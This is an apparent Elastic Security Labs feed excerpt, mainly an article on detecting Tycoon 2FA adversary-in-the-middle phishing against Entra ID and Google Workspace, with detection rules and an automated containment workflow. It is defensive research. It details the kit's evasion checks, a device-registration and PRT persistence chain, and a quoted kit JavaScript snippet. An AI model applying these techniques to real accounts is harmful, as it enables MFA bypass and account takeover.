<p>This introduces a complementary model. Ingested intelligence (GTI, TAXII, and custom feeds) provides continuous detection and historical hunting against indicators you already hold. Agentic workflows provide on-demand enrichment and investigative reasoning at alert time, reaching out to live sources and assembling context on the fly. Together, they enable teams to detect known threats at scale and provide context to investigations.</p>
<h2>Getting started with Google Threat Intelligence in Elastic Security</h2>
<p>To use the <a href="https://www.elastic.co/fr/docs/reference/integrations/ti_google_threat_intelligence">Google Threat Intelligence integration</a> in Elastic Security, you need an active GTI license and API key.</p>
<ol>
<li><strong>Install:</strong> open Integrations catalog in Kibana → search &quot;Google Threat Intelligence&quot; → add integration → enter your API key</li>
<li><strong>Configure the data streams:</strong> enable Threat List (high-confidence detections) and IOC Stream (hunting coverage) → set polling frequency to match API limits and operational needs</li>
<li><strong>Tune:</strong> prebuilt indicator match rules activate automatically; if alert volume is high, start by filtering on confidence threshold</li>
</ol>
<p>All indicators are stored in Elasticsearch and accessible through the GTI threat intelligence data view, enabling search, correlation, and custom detection logic. Full configuration details and troubleshooting guidance are available in the official documentation.</p>
<h2>Tying it all together</h2>
<p>Threat intelligence only matters if a team can act on it. By bringing Google Threat Intelligence into Elastic Security, SOC teams get ingestion-based detection running continuously across their telemetry and agent-driven investigation reasoning over that intelligence in real time. The combination lets threat intelligence operate continuously and contextually, helping analysts move from indicators to confident decisions faster.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/elastic-security-google-threat-intelligence/image2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Detecting Tycoon 2FA AiTM attacks across Entra ID and Google Workspace]]></title>
            <link>https://www.elastic.co/fr/security-labs/tycoon-2fa-aitm-detection-engineering</link>
            <guid>tycoon-2fa-aitm-detection-engineering</guid>
            <pubDate>Tue, 26 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Tycoon 2FA bypasses MFA on Entra ID and Google Workspace. We map telemetry fingerprints across both platforms, ship detection rules for both tiers, and contain incidents in under 10 seconds with Elastic Workflows.]]></description>
            <content:encoded><![CDATA[<p>Tycoon 2FA is currently the most prolific Phishing-as-a-Service (PhaaS) platform among AiTM phishing kits. First observed in August 2023 and attributed to <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/storm-1747">Storm-1747</a> (per Microsoft Threat Intelligence), the kit provides turnkey adversary-in-the-middle (AiTM) capabilities that bypass multi-factor authentication and steal authenticated session tokens from Microsoft 365 and Google Workspace accounts. At its peak, Tycoon 2FA <a href="https://blogs.microsoft.com/on-the-issues/2026/03/04/how-a-global-coalition-disrupted-tycoon/">accounted</a> for roughly 62% of phishing attempts blocked by Microsoft, reaching over 500,000 organizations monthly.</p>
<p>Despite a coordinated <a href="https://blogs.microsoft.com/on-the-issues/2026/03/04/how-a-global-coalition-disrupted-tycoon/">takedown</a> in March 2026 led by Microsoft and Europol, with support from Cloudflare, SpyCloud, eSentire, and other partners that seized over 300 domains, operators adapted within weeks. By late April 2026, <a href="https://www.esentire.com/blog/tycoon-2fa-infrastructure-update-threat-actors-adapt-following-global-coalition-takedown">eSentire</a> documented campaigns combining Tycoon tradecraft with OAuth Device Code phishing flows, and the kit remains the #1 entry on <a href="https://any.run/malware-trends/tycoon/">ANY.RUN</a>'s malware trends tracker.</p>
<h2>How Tycoon 2FA works</h2>
<h3>The AiTM mechanism</h3>
<p>Tycoon 2FA operates as a reverse proxy between the victim and the legitimate identity provider (Entra ID or Google). It is not a static credential harvester. It proxies the real login flow in real time:</p>
<ol>
<li>The victim receives a phishing email containing a link or QR code embedded in a PDF, SVG, HTML, or PPTX attachment.</li>
<li>The link routes through a multi-layer redirect chain. The kit performs browser fingerprinting, CAPTCHA challenges, and anti-analysis checks before presenting the login page.</li>
<li>The victim sees a pixel-perfect replica of the Microsoft or Google login page, often including the target organization's branding dynamically fetched from the real service.</li>
<li>Credentials are relayed in real time to the legitimate identity provider. The real MFA challenge is triggered and proxied back to the victim.</li>
<li>The victim completes MFA normally. The identity provider issues a session token. The proxy intercepts this token before it reaches the victim's browser.</li>
<li>The attacker now holds a fully authenticated access token.</li>
</ol>
<p>The session cookie is the value the operator monetizes. Once captured, MFA is moot because the operator replays minted tokens post-MFA.</p>
<h3>Two structural variants in current rotation</h3>
<p>Two distinct kit variants we analyzed were in active use:</p>
<p>WebSocket AiTM (the &quot;classic&quot; Tycoon 2FA flow): The victim authenticates through a kit-hosted proxy that forwards traffic to Microsoft or Google over WebSocket (Socket.IO) and captures the post-MFA session cookie. The kit's JavaScript client controller maintains a real-time bidirectional channel to the C2 server, relaying credentials and authentication responses as the victim types. These responses include minted access and refresh tokens for use.</p>
<p>Device-code-grant abuse (Microsoft only): The kit relay obtains a device code from Microsoft's oauth2/devicecode endpoint with Microsoft Authentication Broker (<code>29d9ed98-a469-4536-ade2-f981bc1d605e</code>) as the client, displays it to the victim through a &quot;verification code&quot; lure, and exchanges the code for access/refresh tokens after the victim signs in at the legitimate microsoft.com/devicelogin endpoint.</p>
<h3>Evasion techniques</h3>
<p>The kit employs layered anti-analysis mechanisms confirmed through JavaScript decompilation:</p>
<ul>
<li>IP-based researcher filtering: Before any content is shown, the kit calls <em>api.ipapi.is</em> (or equivalent service) to check the visitor's IP against a blocklist of cloud/hosting providers (Leaseweb, M247, DigitalOcean, Linode, Amazon, OVH, Hetzner, Google, Microsoft, Cloudflare, Akamai, Fastly, stored as reversed strings to evade static scanning). Visitors on cloud infrastructure are redirected to a benign decoy site.</li>
<li>Bot/tool detection: Checks for <em>navigator.webdriver</em> (Selenium), <em>window.callPhantom</em> / <code>window._phantom</code> (PhantomJS), and &quot;Burp&quot; in the user-agent string. Detection triggers a redirect to <em>about:blank</em>.</li>
<li>DevTools blocking: Intercepts keyboard shortcuts for developer tools (F12, Ctrl+Shift+I/J/C, Ctrl+U, macOS equivalents) and disables right-click context menus.</li>
<li>Debugger trap: A <em>setInterval</em> loop running every 100ms inserts a debugger statement and measures execution time. If <em>DevTools</em> are open (execution pauses &gt;100ms), the victim is redirected to a decoy site.</li>
<li>DOM vanishing: Malicious JavaScript removes itself from the <em>DOM</em> after execution, leaving no trace for static inspection.</li>
<li>Per-victim encryption: The payload uses a custom two-stage cipher (Caesar shift + XOR with a PRNG-generated keystream) seeded with per-session values. The seed, key, and encrypted blob are generated server-side for each victim, making static signature detection impossible.</li>
<li>Platform targeting: On Linux desktops, it writes an empty string to blank the page: likely assuming Linux users are more likely to be security researchers.</li>
<li>Fake CAPTCHA: A custom image-grid CAPTCHA replaces Cloudflare Turnstile in the current variant. Unsplash-sourced images in a 3×3 grid provide human verification before the phishing page loads.</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image3.png" alt="Example of initial evasion checks (DevTools, right-click, browser check)" title="Example of initial evasion checks (DevTools, right-click, browser check)" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image16.png" alt="Example of a Tycoon custom CAPTCHA page" title="Example of a Tycoon custom CAPTCHA page" /></p>
<p>For Google-targeted campaigns, the first-hop lure is frequently staged on legitimate Google infrastructure, such as Google Storage or Google Sites, though operator-controlled or compromised domains are also observed. When Google's own hosting is used, the <code>storage.googleapis.com</code> or <code>sites.google.com</code> origin provides built-in reputation cover before the victim reaches the AiTM relay.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image7.png" alt="Abuse of Google Storage to host a phishing page" title="Abuse of Google Storage to host a phishing page" /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image10.png" alt="Abuse of Google Sites to host a phishing page" title="Abuse of Google Sites to host a phishing page" /></p>
<p>In other instances the victim's email is auto-filled and the &quot;Next&quot; button is auto-clicked: the victim lands directly on the password page, making it look like they're already partially authenticated (increasing trust) :</p>
<pre><code class="language-javascript">
var emailcheck = &quot;victim@email.corp&quot;;
// ...
function tryfindingele(email) {
   emailinputcheck.value = email;
   emailsectionelecheck.querySelector(&quot;.btn-blue-next-btn&quot;).click();
}
if (emailcheck !== &quot;0&quot;) { tryfindingele(emailcheck); }
</code></pre>
<h2>Microsoft 365 / Entra ID</h2>
<h3>A two-tier operational architecture</h3>
<p>Tycoon 2FA's current operational model splits across two distinct infrastructure tiers, each with its own ASN, role, and behavioral signature. Defenders looking for a single pattern will catch one tier and miss the other.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image4.png" alt="" /></p>
<p>Tier 1 - Kit Relay</p>
<p>The automated backend that handles token acquisition and renewal. Characteristics:</p>
<ul>
<li>Cloud-VPS egress IPs from hosting providers (Alibaba Cloud, similar cheap-VPS ASNs), rotating across multiple IPs in different /16 blocks during a single engagement.</li>
<li>Node.js HTTP client user agents: node (bare, default Node.js UA), axios/1.15.2, node-fetch/1.0, undici.</li>
<li>Client app: Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e), later used with <a href="https://learn.microsoft.com/en-us/entra/identity/devices/device-registration-how-it-works">Device Registration Service (DRS)</a> to mint a primaryRefreshToken (PRT).</li>
<li>Token-type progression: incomingTokenType: none (initial victim auth) &gt; refreshToken (kit relay renewal loop, repeated across rotating IPs) &gt; Rogue Device Registration &gt; primaryRefreshToken (PRT replay, broader scope).</li>
<li>Non-interactive sign-ins: After the initial interactive device-code completion, subsequent token operations are server-to-server refreshes.</li>
</ul>
<p>Tier 2 - Operator Console</p>
<p>The human (or human-simulating tool) that performs post-compromise reconnaissance. Characteristics:</p>
<ul>
<li>Residential-shaped ISP or proxy egress, typically a small ASN not present in common hosting-provider threat feeds. Multiple IPs in a single /24, all acting in coordination.</li>
<li>Single browser user agent (e.g., Firefox on Windows) fixed across all IPs in the cluster. A configured tool, not independent users.</li>
<li>Browser-based interactive sign-ins to Microsoft web apps: My Profile, My Signins, Microsoft Approval Management, Outlook Web and OfficeHome.</li>
<li>Single c_sid (client session ID in Graph Activity Logs) shared across all IPs, confirming a single session distributed across the pool.</li>
<li>Operational tempo: Typically appears 10-20 minutes after the kit relay's first successful token issuance. The gap represents the kit-to-operator handoff window.</li>
</ul>
<p>The durable cross-tier detection signal: Two distinct ASNs (one cloud-VPS, one residential-shaped) authenticating as the same user principal within minutes. Single-ASN rules catch one tier; the cross-tier pivot is the high-confidence indicator.</p>
<h3>Post-compromise Graph API enumeration</h3>
<p>Once the operator console has a valid token, a rapid burst of Microsoft Graph API calls follows, typically dozens of requests within 30-60 seconds, hitting high-value reconnaissance endpoints:</p>
<table>
<thead>
<tr>
<th align="left">Recon Category</th>
<th align="left">Example Endpoints</th>
<th align="left">Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Role Discovery</td>
<td align="left">transitiveRoleAssignments, memberOf/directoryRole, roleManagement/directory/roleAssignments</td>
<td align="left">Check what Entra ID roles the compromised identity holds</td>
</tr>
<tr>
<td align="left">Cross-Tenant Recon</td>
<td align="left">tenantRelationships/getResourceTenants</td>
<td align="left">Enumerate trusted cross-tenant relationships for lateral movement</td>
</tr>
<tr>
<td align="left">Mailbox Recon</td>
<td align="left">me/mailboxSettings</td>
<td align="left">Read forwarding rules, auto-replies, timezone</td>
</tr>
<tr>
<td align="left">Contact Harvesting</td>
<td align="left">me/contactFolders/contacts ($top=1000)</td>
<td align="left">Dump contact list for next-wave phishing targets</td>
</tr>
<tr>
<td align="left">Org &amp; Licensing</td>
<td align="left">subscribedSkus, organization, appRoleAssignedResources ($top=999)</td>
<td align="left">Map tenant licensing, org structure, app landscape</td>
</tr>
</tbody>
</table>
<p>Key telemetry indicators of automated post-compromise recon:</p>
<ul>
<li>Volume and speed: 20-30+ calls within a 30-60 second window, each hitting a different endpoint.</li>
<li>Mixed HTTP methods: GET for most endpoints, POST for actions like <em>getResourceTenants</em>.</li>
<li>Structured query parameters: <em>$select</em>, <em>$top=999</em>, <em>$count=true</em> - optimized for maximum data extraction per call.</li>
<li>/beta/ API usage: Disproportionately used by offensive tooling versus normal portal navigation.</li>
<li>Mixed success/failure: Some endpoints return 400 or 403 (the kit probes everything regardless), while most return 200. Failed recon attempts are still recon.</li>
<li>Empty C_DeviceId: The token was issued to an unmanaged, unregistered device.</li>
<li>First-party apps with broad pre-consented scopes: Tokens for My Profile carry scopes including <em>RoleManagement.ReadWrite.Directory</em>, <em>MailboxSettings.ReadWrite</em>, <em>UserAuthenticationMethod.ReadWrite</em>, and <em>User.RevokeSessions.All</em> - all pre-consented, requiring no OAuth consent prompt.</li>
</ul>
<h3>Device-PRT persistence</h3>
<p>As stated earlier, the kit can establish device-registration persistence that survives standard session-revocation playbooks. The mechanism:</p>
<ol>
<li>MAB refresh token is resource-swapped at <em>oauth2/token</em> for an access token whose <em>aud</em> is <em>urn:ms-drs:enterpriseregistration.windows.net</em> (same client ID, new audience, no consent prompt).</li>
<li>The kit uses the <em>urn:ms-drs:enterpriseregistration.windows.net</em> access token to POST endpoint <em>EnrollmentServer/device</em> with a locally-generated PKCS#10 CSR, synthetic device metadata and transport key blob. DRS creates a device object, assigns a device ID, signs and returns a device certificate.</li>
<li>The kit builds a JWT containing the user’s refresh token, signs it RS256 with the device private key, and embeds the device certificate in the JWT header. It POSTs this to <em>login.microsoftonline.com/common/oauth2/token</em> as a JWT bearer grant. Entra validates the signature against the cert and returns the PRT plus a session key encrypted (JWE).</li>
<li>When a defender fires <em>revokeSignInSessions</em> (which invalidates all user-level tokens and refresh tokens), the device PRT remains valid because the device is a separate principal in Entra ID.</li>
<li>From the new relay IPs, the kit uses the PRT plus session key to sign per-request <em>HMAC-SHA256</em> assertions to <em>/oauth2/token</em>, brokering access tokens for any first-party <code>client_id</code> it names (Teams, Outlook, OneDrive, Office, Intune).</li>
</ol>
<h3>Why doesn't revoking sessions stop Tycoon 2FA?</h3>
<p>This means the standard incident response sequence of &quot;revoke sessions &gt; reset password&quot; is insufficient. Defenders must enumerate and delete registered devices before revoking sessions to break the device-PRT chain atomically.</p>
<h3>Detection nuances - Microsoft</h3>
<p><strong>Identity Protection may not flag kit infrastructure.</strong> Tycoon 2FA's current egress IPs rotate aggressively and may not be in Microsoft's risk corpus. Defenders relying solely on Entra ID risk signals for AiTM detection will see nothing.</p>
<p><strong>c_sid in Graph Activity Logs is NOT the user object ID.</strong> It's a session/security-context identifier. Analysts filtering Graph Activity Logs by <code>c_sid == user_object_id</code> will get empty results and conclude the attacker didn't use Graph tokens. The correct hunt pivot is source IP + appId, cross-referenced with sign-in logs to map IP to user.</p>
<p><strong>Geolocation is unreliable for cloud-provider IPs.</strong> The same kit relay IP can geolocate to different cities within the same sign-in session. ASN is the only reliable enrichment for detection rules.</p>
<p><strong>Token minting visibility.</strong> Token minting or issuance is not logged; authentication events leveraging these tokens propose a more reactive hunting signal.</p>
<p><strong>Entra ID Protection Risky User Status.</strong> Entra ID protection analyzes sign-in events, sessions, tokens and more to apply a risk level and status to users. <em>aiConfirmedSafe</em> was observed during tier 2 relay, marking the user with no risk. Then User Risk anomalies were identified based on <em>anomalousToken</em> which then placed the user back into a medium risk. Simply excluding events where <em>aiConfirmedSafe</em> can blind organizations to false-negatives from Microsoft’s labeling.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image19.png" alt="" /></p>
<h2>Google Workspace</h2>
<h3>Single-tier kit relay</h3>
<p>The Google variant operates as a single-tier kit relay without the distinct operator console tier seen on the Microsoft side. Multiple kit relay IPs (typically from cheap hosting ASNs like Clouvider, Host Telecom, or similar) authenticate the same user within minutes, each performing the same four-event sequence:</p>
<ol>
<li><code>login_success</code>  password validated (T+0.000s)</li>
<li><code>login_verification</code> with <code>is_second_factor: true</code> - kit relays the TOTP/SMS/push code in real time, completing 2SV (T+0.000s)</li>
<li>token: authorize for Google's Chrome OAuth client (77185425430) (T+0.4 to 0.6s)</li>
<li><code>DEVICE_REGISTER_UNREGISTER_EVENT</code> (new device is registered by Google due to profile authentication) (T+0.6 to 1.2s)</li>
</ol>
<p>That ~1-second compression is a signal of automated logins.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image13.png" alt="" /></p>
<p>The kit consistently authorizes the same OAuth client across every relay session:</p>
<table>
<thead>
<tr>
<th align="left">Field</th>
<th align="left">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">google_workspace.token.client.id</td>
<td align="left">77185425430.apps.googleusercontent.com</td>
</tr>
<tr>
<td align="left">google_workspace.token.app_name</td>
<td align="left">Google Chrome</td>
</tr>
<tr>
<td align="left">google_workspace.token.client.type</td>
<td align="left">NATIVE_DESKTOP</td>
</tr>
<tr>
<td align="left">google_workspace.device.type</td>
<td align="left">WINDOWS</td>
</tr>
<tr>
<td align="left">google_workspace.token.scope.value</td>
<td align="left"><a href="https://www.google.com/accounts/OAuthLogin">https://www.google.com/accounts/OAuthLogin</a></td>
</tr>
<tr>
<td align="left">google_workspace.token.method_name</td>
<td align="left">authorize</td>
</tr>
</tbody>
</table>
<p>The <em>OAuthLogin</em> scope is Chrome's internal bootstrap sign-in scope. It is not a data-plane scope (it does not by itself grant Gmail, Drive, or Calendar access). The kit's blast radius from this single scope is bound to a long-lived sign-in capable of becoming a Chrome Sync session, not direct mailbox or file access without further token-exchange calls.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image15.png" alt="" /></p>
<p>What the <em>token.authorize</em> event from a VPS ASN confirms is that the authorization happens server-side during the relay, not from the victim's device, making it suspicious regardless of operator intent.</p>
<h3>Kit JavaScript architecture (Google variant)</h3>
<p>Decompilation of the Google-targeting WebSocket variant reveals a 5-layer architecture:</p>
<table>
<thead>
<tr>
<th align="left">Layer</th>
<th align="left">Function</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">1. Anti-Analysis</td>
<td align="left">IP filtering via api.ipapi.is (cloud provider blocklist with reversed strings), bot/debugger detection, DOM vanishing</td>
</tr>
<tr>
<td align="left">2. Phishing HTML</td>
<td align="left">~747KB base64-decoded Google sign-in clone with 15 input fields covering every Google auth method</td>
</tr>
<tr>
<td align="left">3. WebSocket C2</td>
<td align="left">Socket.IO 4.6.0 real-time relay (send_to_browser / response_from_browser events)</td>
</tr>
<tr>
<td align="left">4. Encrypted Payload</td>
<td align="left">Per-victim Caesar+XOR cipher (LCG PRNG, unique seed per session), eval()'d at runtime</td>
</tr>
<tr>
<td align="left">5. Libraries</td>
<td align="left">CryptoJS 4.2.0 for AES-CBC credential encryption (hardcoded key 1234567890123456 to encrypt collected credentials), list.js</td>
</tr>
</tbody>
</table>
<p>The 15 input fields capture every Google 2FA method: password, TOTP, SMS, voice call, backup codes, recovery email, phone verification, security key fallback, mobile prompt, and forced password change. The “recieveid” Socket.IO event name (note the typo) is a consistent kit fingerprint.</p>
<h3>Detection nuances - Google</h3>
<p><strong>Google Alert Center may stay silent.</strong> Even when multiple sign-ins from multiple ASNs hit the same user within minutes, Alert Center records may not flow to the Alert API. Google's victim-mailbox security alert emails are not a substitute, since they go to the compromised user's inbox, not the admin surface.</p>
<p><strong>is_suspicious may not fire.</strong> Kit relay IPs from cheap hosting ASNs may not be in Google's risk corpus. Defenders relying on this field as a primary signal will have blind spots. In the canary engagement, <code>is_suspicious</code> was false on every <code>login_success</code> from all four kit IPs across both Clouvider and Host Telecom.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image11.png" alt="" /></p>
<p><strong>No user-agent on login events:</strong> The Reports API login events do not include user-agent or device-fingerprint data. The UA-based detections that work on the Entra side (node / axios / undici) have no direct Google equivalent.</p>
<p><strong>OAuth workflow visibility is shallow:</strong> Google's <em>token.authorize</em> event surfaces <em>client.id</em>, <em>app_name</em>, <em>client.type</em>, and <em>scope.value</em>, and that's the full set. There is no <em>resource_id</em> distinct from scope, no grant-type field, and no incoming-token-type field.</p>
<p><strong>Most auxiliary streams stay quiet:</strong> no <em>google_workspace.context_aware_access</em> events fired (despite five new device records on the user) and no Alert Center records reached the Alert API. The kit footprint lives in three streams only: login, token, and device. Hunts that depend on any other stream will not detect this kit.</p>
<h2>Tycoon 2FA across Entra ID and Google Workspace</h2>
<table>
<thead>
<tr>
<th align="left">Dimension</th>
<th align="left">Microsoft 365 (Entra ID)</th>
<th align="left">Google Workspace</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Kit relay infrastructure</td>
<td align="left">Cloud-VPS hosting ASNs, rotating IPs</td>
<td align="left">Cloud-VPS hosting ASNs, rotating IPs</td>
</tr>
<tr>
<td align="left">Kit relay user agents</td>
<td align="left"><code>node</code>, <code>axios</code>, <code>undici</code>, <code>node-fetch</code></td>
<td align="left">Not exposed (Reports API lacks UA)</td>
</tr>
<tr>
<td align="left">Auth flow targeted</td>
<td align="left">Auth Broker device-code grant</td>
<td align="left">Google Chrome OAuth sign-in</td>
</tr>
<tr>
<td align="left">Persistence scope</td>
<td align="left">Device registration leading to primaryRefreshToken (PRT)</td>
<td align="left">Not observed</td>
</tr>
<tr>
<td align="left">Persistence durability</td>
<td align="left">High - device-PRT can survive session revocation</td>
<td align="left">Low - single OAuth revoke sufficient</td>
</tr>
<tr>
<td align="left">Operator console tier</td>
<td align="left">Yes - residential-proxy IPs, browser-based M365 web app recon</td>
<td align="left">Not observed</td>
</tr>
<tr>
<td align="left">Risk engine flagged kit egress</td>
<td align="left">Yes - User Risk detection for <em>anomalousToken</em></td>
<td align="left">No (<code>is_suspicious</code> silent)</td>
</tr>
<tr>
<td align="left">SOC log latency</td>
<td align="left">&lt;5 minutes (sign-in logs near-real-time)</td>
<td align="left">Up to ~3 hours (Reports API lag)</td>
</tr>
<tr>
<td align="left">CA / policy defense available</td>
<td align="left">Block device-code-flow CA &gt; clean 53003 rejection</td>
<td align="left">No equivalent policy</td>
</tr>
<tr>
<td align="left">Kill-switch complexity</td>
<td align="left">Must delete registered devices before revoking sessions</td>
<td align="left">Single OAuth revoke sufficient</td>
</tr>
</tbody>
</table>
<p>The M365 variant is operationally heavier, and logging provides extensive detail before and after identity compromise. The Google Workspace variant is lighter (only sign-ins were observed), but default logging lacks important context.</p>
<h2>Tycoon 2FA behavior detection rules</h2>
<p>We shipped detection rules across Microsoft and Google telemetry sources covering the full attack chain: initial AiTM phish, token relay, operator console recon and device persistence.</p>
<h3>Microsoft - Kit relay detection</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/9bd94c62a54c6b3d6054e4f1d57f014538be70bf/rules/integrations/azure/initial_access_tycoon_entra_id.toml#L27">Entra ID Potential AiTM Sign-In via OfficeHome (Tycoon2FA)</a> -  This is a high signal detection that triggers on Auth Broker or OfficeHome sign-ins to Graph/Exchange with Node.js-style user agents (<code>node</code>, <code>axios</code>, <code>undici</code>). Catches the kit relay tier's server-side token operations.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image5.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/9bd94c62a54c6b3d6054e4f1d57f014538be70bf/rules/integrations/o365/initial_access_tycoon_o365.toml#L28">M365 Potential AiTM UserLoggedIn via Office App (Tycoon2FA)</a> - Same detection logic as the Entra sign-in rule but against the M365 Unified Audit Log for tenants ingesting <code>o365.audit</code> instead of (or in addition to) Entra sign-in logs.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image14.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/9bd94c62a54c6b3d6054e4f1d57f014538be70bf/rules/integrations/azure/initial_access_entra_id_oauth_device_code_phishing_tycoon_aitm.toml#L27">Entra ID OAuth Device Code Phishing via AiTM</a> :  Detects successful interactive device-code-flow sign-ins through the Auth Broker targeting Exchange, Graph, or SharePoint. Catches the device-code-grant abuse variant specifically.</p>
<p><a href="https://github.com/elastic/detection-rules/blob/9bd94c62a54c6b3d6054e4f1d57f014538be70bf/rules/integrations/azure/initial_access_entra_id_microsoft_auth_broker_unusual_resource.toml#L28">Entra ID Microsoft Authentication Broker Sign-In to Unusual Resource</a> : Detects successful Auth Broker sign-ins where the target resource is outside the commonly-observed first-party set. Catches FOCI token exchange to unexpected APIs or enterprise applications.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image6.png" alt="" /></p>
<h3>Microsoft - Persistence detection</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/8089df918f81850b28dfc3e691495f55bf30c94a/rules/integrations/azure/persistence_entra_id_register_device_unusual_user_agent.toml#L26">Entra ID Register Device with Unusual User Agent (Azure AD Join)</a> :  Detects successful device registration events where the user agent is not one of the known native registration clients <em>(<code>Dsreg</code>, <code>DeviceRegistrationClient</code>, <code>Dalvik</code>)</em>. Catches the kit's device-PRT persistence play also originating from the axios user agent:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image12.png" alt="" /></p>
<h3>Post-compromise Graph API enumeration (ES|QL)</h3>
<p>For the operator console tier's post-compromise recon, we built an ES|QL <a href="https://github.com/elastic/detection-rules/blob/b87d2f58938f67c3b74bf5ae334fad06371d4dac/rules/integrations/azure/discovery_graph_activity_delegated_user_multi_category_recon.toml">rule</a> that tags each Microsoft Graph API request into one of five reconnaissance categories and fires when 4 or more distinct categories are hit within the aggregation window (&lt;= 60s):</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image18.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/d623721ec303064d1f47bcea15ae5bc3062f2b54/rules/integrations/azure/discovery_graph_activity_delegated_user_multi_category_recon.toml#L26">Microsoft Graph Multi-Category Reconnaissance Burst</a> catches systematic post-compromise enumeration while filtering out organic portal usage. Normal user activity might touch one or two of these categories, hitting 4 or more distinct recon categories from a single session within a short window (33 seconds) is the automated-tooling fingerprint.</p>
<h3>Google - Kit relay and persistence detection</h3>
<p><a href="https://github.com/elastic/detection-rules/blob/3ad97fe42d0862ef3c7a93cd54afebfcee4eaac0/rules/integrations/google_workspace/initial_access_google_workspace_login_impossible_travel.toml">Google Workspace Impossible Travel Login</a> -  ES|QL rule using <a href="https://www.elastic.co/fr/docs/reference/query-languages/esql/functions-operators/spatial-functions/st_distance">*<code>st_distance()</code></a>* geospatial functions to detect successful sign-ins from locations implying travel faster than 800 km/h with at least 500 km separation. Catches the multi-ASN kit relay pattern where multiple IPs in different geolocations authenticate the same user within minutes:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image2.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/696b276e628b5663a78e35c02be3d2798a318479/rules/integrations/google_workspace/initial_access_google_workspace_login_from_atypical_asn.toml">Google Workspace User Login from Atypical ASN</a> - <a href="https://www.elastic.co/fr/docs/solutions/security/detect-and-alert/new-terms">new term</a> rule that detects the first time a Google Workspace user successfully signs in from a given source ASN within a 14-day historical window.</p>
<p><a href="https://github.com/elastic/detection-rules/blob/8089df918f81850b28dfc3e691495f55bf30c94a/rules/integrations/google_workspace/persistence_google_workspace_device_registered_after_oauth_from_suspicious_asn.toml#L27">Google Workspace Device Registration After OAuth from Suspicious ASN</a> : EQL sequence rule detecting OAuth authorization for the Chrome client (<code>77185425430.apps.googleusercontent.com</code>) from cheap hosting ASN, followed within 30 seconds by a device registration with account state <code>REGISTERED</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image8.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/0236027f5a3a675608dbec29d15dc994916e2f13/rules/integrations/google_workspace/persistence_google_workspace_device_registration_burst.toml">Google Workspace Device Registration Burst for Single User</a> - Detects bursts of Google Workspace device registration events for the same user, where three or more distinct<br />
<code>google_workspace.device.id</code> values are emitted in a one-minute window :</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image1.png" alt="" /></p>
<h2>Automating containment with Elastic Workflows</h2>
<p>Once the detection content is in place, the next gap is the time between alert and action. The Tycoon 2FA M365 kit-to-operator handoff window we documented earlier is 10-20 minutes, the time between the kit relay's first successful token issuance and the operator-tier session beginning its post-compromise Graph recon.</p>
<p>A manual SOC response routinely takes longer than that window, which is why the operator gets recon work done before containment lands. Closing that gap is what makes detection actionable.</p>
<p><a href="https://www.elastic.co/fr/docs/explore-analyze/workflows">Elastic Workflows</a>, shipped with the stack (9.4+), lets detection rules invoke custom <a href="https://github.com/elastic/workflows">workflows</a> with a YAML-defined pipeline of steps on every alert.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tycoon-2fa-aitm-detection-engineering/image17.png" alt="" /></p>
<p>As a PoC, we built a custom workflow wired to an <a href="https://github.com/elastic/detection-rules/blob/9bd94c62a54c6b3d6054e4f1d57f014538be70bf/rules/integrations/azure/initial_access_tycoon_entra_id.toml#L27">Entra ID Potential AiTM Sign-In via OfficeHome (Tycoon2FA)</a> detection rule that mirrors the required response actions.</p>
<p>On every alert the workflow:</p>
<ol>
<li>Acquires a Graph bearer via <code>client_credentials</code> (one-time per execution).</li>
<li>PATCHes the compromised UPN with <code>accountEnabled: false</code> to halt new authentications.</li>
<li>Enumerates <em>registeredDevices</em> and <em>ownedDevices</em> on the user.</li>
<li>DELETEs each device principal, which is what actually invalidates a device-bound PRT.</li>
<li>POSTs to <em>revokeSignInSessions</em> to invalidate user-level refresh tokens and session cookies.</li>
